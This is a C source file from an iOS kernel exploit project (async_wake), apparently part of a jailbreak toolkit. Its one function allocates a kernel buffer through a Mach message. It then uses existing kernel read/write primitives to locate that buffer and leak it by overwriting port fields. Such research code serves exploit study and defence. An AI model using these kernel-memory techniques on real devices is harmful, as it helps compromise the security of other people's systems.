// // early_kalloc.c // async_wake_ios // // Created by Ian Beer on 12/11/17. // Copyright © 2017 Ian Beer. All rights reserved. // #include "early_kalloc.h" #include #include #include #include "find_port.h" #include "kmem.h" #include "symbols.h" extern int message_size_for_kalloc_size(int kalloc_size); // get a kalloc allocation before we've got a kcall interface to just call it uint64_t early_kalloc(int size) { mach_port_t port = MACH_PORT_NULL; kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (err != KERN_SUCCESS) { printf("unable to allocate port\n"); } uint64_t port_kaddr = find_port_address_electra(port, MACH_MSG_TYPE_MAKE_SEND); struct simple_msg { mach_msg_header_t hdr; char buf[0]; }; mach_msg_size_t msg_size = message_size_for_kalloc_size(size); struct simple_msg* msg = malloc(msg_size); memset(msg, 0, msg_size); msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = msg_size; msg->hdr.msgh_remote_port = port; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414142; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("early kalloc failed to send message\n"); } // find the message buffer: uint64_t message_buffer = rk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); printf("message buffer: %llx\n", message_buffer); // leak the message buffer: wk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0); wk32_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit return message_buffer; }